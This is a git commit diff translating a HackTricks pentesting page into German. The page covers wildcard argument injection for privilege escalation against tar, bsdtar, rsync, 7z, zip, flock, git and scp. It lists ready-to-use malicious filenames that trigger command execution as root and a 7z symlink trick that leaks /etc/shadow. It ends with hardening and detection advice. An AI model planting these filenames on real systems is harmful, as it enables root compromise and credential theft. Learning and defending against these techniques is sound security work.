Translated ['src/linux-hardening/privilege-escalation/wildcards-spare-tr

This commit is contained in:
Translator 2025-08-04 14:44:02 +00:00
parent 9870d19a5f
commit d3cb5c848b

View File

@ -1,60 +1,123 @@
# Wildcards Spare Tricks
{{#include ../../banners/hacktricks-training.md}}
## chown, chmod
> Wildcard (auch *glob*) **Argumentinjektion** tritt auf, wenn ein privilegiertes Skript ein Unix-Binary wie `tar`, `chown`, `rsync`, `zip`, `7z`, … mit einem nicht zitierten Wildcard wie `*` ausführt.
> Da die Shell das Wildcard **vor** der Ausführung des Binaries erweitert, kann ein Angreifer, der Dateien im Arbeitsverzeichnis erstellen kann, Dateinamen erstellen, die mit `-` beginnen, sodass sie als **Optionen anstelle von Daten** interpretiert werden, wodurch willkürliche Flags oder sogar Befehle effektiv geschmuggelt werden.
> Diese Seite sammelt die nützlichsten Primitiven, aktuelle Forschungen und moderne Erkennungen für 2023-2025.
Sie können **angeben, welchen Dateibesitzer und welche Berechtigungen Sie für die restlichen Dateien kopieren möchten**
## chown / chmod
Sie können **den Besitzer/die Gruppe oder die Berechtigungsbits einer beliebigen Datei kopieren**, indem Sie das `--reference`-Flag missbrauchen:
```bash
touch "--reference=/my/own/path/filename"
# attacker-controlled directory
touch "--reference=/root/secret``file" # ← filename becomes an argument
```
Sie können dies mit [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(kombinierter Angriff)_ ausnutzen.\
Weitere Informationen finden Sie unter [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)
## Tar
**Führen Sie beliebige Befehle aus:**
Wenn root später etwas wie folgendes ausführt:
```bash
chown -R alice:alice *.php
chmod -R 644 *.php
```
`--reference=/root/secret``file` wird injiziert, wodurch *alle* übereinstimmenden Dateien den Besitz/die Berechtigungen von `/root/secret``file` erben.
*PoC & Tool*: [`wildpwn`](https://github.com/localh0t/wildpwn) (kombinierter Angriff).
Siehe auch das klassische DefenseCode-Papier für Details.
---
## tar
### GNU tar (Linux, *BSD, busybox-full)
Führen Sie beliebige Befehle aus, indem Sie die **Checkpoint**-Funktion missbrauchen:
```bash
# attacker-controlled directory
echo 'echo pwned > /tmp/pwn' > shell.sh
chmod +x shell.sh
touch "--checkpoint=1"
touch "--checkpoint-action=exec=sh shell.sh"
```
Sie können dies mit [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(tar-Angriff)_ ausnutzen.\
Weitere Informationen finden Sie unter [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)
Sobald root z.B. `tar -czf /root/backup.tgz *` ausführt, wird `shell.sh` als root ausgeführt.
## Rsync
### bsdtar / macOS 14+
**Führen Sie beliebige Befehle aus:**
Das Standard-`tar` auf aktuellen macOS (basierend auf `libarchive`) implementiert *nicht* `--checkpoint`, aber Sie können dennoch eine Codeausführung mit dem **--use-compress-program**-Flag erreichen, das es Ihnen ermöglicht, einen externen Kompressor anzugeben.
```bash
Interesting rsync option from manual:
-e, --rsh=COMMAND specify the remote shell to use
--rsync-path=PROGRAM specify the rsync to run on remote machine
# macOS example
touch "--use-compress-program=/bin/sh"
```
Wenn ein privilegiertes Skript `tar -cf backup.tar *` ausführt, wird `/bin/sh` gestartet.
---
## rsync
`rsync` ermöglicht es Ihnen, die Remote-Shell oder sogar die Remote-Binärdatei über Befehlszeilenflags zu überschreiben, die mit `-e` oder `--rsync-path` beginnen:
```bash
touch "-e sh shell.sh"
# attacker-controlled directory
touch "-e sh shell.sh" # -e <cmd> => use <cmd> instead of ssh
```
Sie können dies ausnutzen, indem Sie [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(\_rsync \_attack)_\
Weitere Informationen finden Sie unter [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)
Wenn root später das Verzeichnis mit `rsync -az * backup:/srv/` archiviert, wird die injizierte Flagge deine Shell auf der Remote-Seite starten.
## 7z
*PoC*: [`wildpwn`](https://github.com/localh0t/wildpwn) (`rsync`-Modus).
In **7z** können Sie selbst mit `--` vor `*` (beachten Sie, dass `--` bedeutet, dass die folgenden Eingaben nicht als Parameter behandelt werden können, sondern in diesem Fall nur als Dateipfade) einen beliebigen Fehler verursachen, um eine Datei zu lesen. Wenn also ein Befehl wie der folgende von root ausgeführt wird:
---
## 7-Zip / 7z / 7za
Selbst wenn das privilegierte Skript *defensiv* das Wildcard mit `--` voranstellt (um die Optionsanalyse zu stoppen), unterstützt das 7-Zip-Format **Dateiliste-Dateien**, indem der Dateiname mit `@` vorangestellt wird. Die Kombination mit einem Symlink ermöglicht es dir, *willkürliche Dateien zu exfiltrieren*:
```bash
7za a /backup/$filename.zip -t7z -snl -p$pass -- *
# directory writable by low-priv user
cd /path/controlled
ln -s /etc/shadow root.txt # file we want to read
touch @root.txt # tells 7z to use root.txt as file list
```
Und Sie können Dateien im Ordner erstellen, in dem dies ausgeführt wird. Sie könnten die Datei `@root.txt` und die Datei `root.txt` erstellen, die ein **symlink** zu der Datei ist, die Sie lesen möchten:
Wenn root etwas wie Folgendes ausführt:
```bash
cd /path/to/7z/acting/folder
touch @root.txt
ln -s /file/you/want/to/read root.txt
7za a /backup/`date +%F`.7z -t7z -snl -- *
```
Dann, wenn **7z** ausgeführt wird, behandelt es `root.txt` als eine Datei, die die Liste der Dateien enthält, die es komprimieren soll (das zeigt die Existenz von `@root.txt` an), und wenn 7z `root.txt` liest, wird es `/file/you/want/to/read` lesen und **da der Inhalt dieser Datei keine Liste von Dateien ist, wird es einen Fehler ausgeben**, der den Inhalt zeigt.
7-Zip wird versuchen, `root.txt` (→ `/etc/shadow`) als Dateiliste zu lesen und wird abbrechen, **indem es den Inhalt auf stderr ausgibt**.
_Mehr Informationen in den Write-ups der Box CTF von HackTheBox._
---
## Zip
## zip
**Führen Sie beliebige Befehle aus:**
`zip` unterstützt das Flag `--unzip-command`, das *wörtlich* an die System-Shell übergeben wird, wenn das Archiv getestet wird:
```bash
zip name.zip files -T --unzip-command "sh -c whoami"
zip result.zip files -T --unzip-command "sh -c id"
```
Injectiere das Flag über einen gestalteten Dateinamen und warte darauf, dass das privilegierte Backup-Skript `zip -T` (Archiv testen) auf der resultierenden Datei aufruft.
---
## Zusätzliche Binärdateien, die anfällig für Wildcard-Injection sind (schnelle Liste 2023-2025)
Die folgenden Befehle wurden in modernen CTFs und realen Umgebungen missbraucht. Die Payload wird immer als *Dateiname* in einem beschreibbaren Verzeichnis erstellt, das später mit einem Wildcard verarbeitet wird:
| Binärdatei | Flag zum Missbrauch | Effekt |
| --- | --- | --- |
| `bsdtar` | `--newer-mtime=@<epoch>` → beliebiges `@file` | Dateiinhalt lesen |
| `flock` | `-c <cmd>` | Befehl ausführen |
| `git` | `-c core.sshCommand=<cmd>` | Befehlsausführung über git über SSH |
| `scp` | `-S <cmd>` | Beliebiges Programm anstelle von ssh starten |
Diese Primitiven sind weniger verbreitet als die *tar/rsync/zip* Klassiker, aber es lohnt sich, sie bei der Jagd zu überprüfen.
---
## Erkennung & Härtung
1. **Deaktiviere Shell-Gloßing** in kritischen Skripten: `set -f` (`set -o noglob`) verhindert die Wildcard-Erweiterung.
2. **Zitiere oder entkomme** Argumenten: `tar -czf "$dst" -- *` ist *nicht* sicher — bevorzuge `find . -type f -print0 | xargs -0 tar -czf "$dst"`.
3. **Explizite Pfade**: Verwende `/var/www/html/*.log` anstelle von `*`, damit Angreifer keine Geschwisterdateien erstellen können, die mit `-` beginnen.
4. **Minimalprivilegien**: Führe Backup-/Wartungsjobs nach Möglichkeit als unprivilegiertes Dienstkonto anstelle von root aus.
5. **Überwachung**: Die vorgefertigte Regel von Elastic *Potential Shell via Wildcard Injection* sucht nach `tar --checkpoint=*`, `rsync -e*` oder `zip --unzip-command`, die sofort von einem Shell-Kindprozess gefolgt werden. Die EQL-Abfrage kann für andere EDRs angepasst werden.
---
## Referenzen
* Elastic Security Regel *Potential Shell via Wildcard Injection Detected* (letzte Aktualisierung 2025)
* Rutger Flohil “macOS — Tar wildcard injection” (18. Dez 2024)
{{#include ../../banners/hacktricks-training.md}}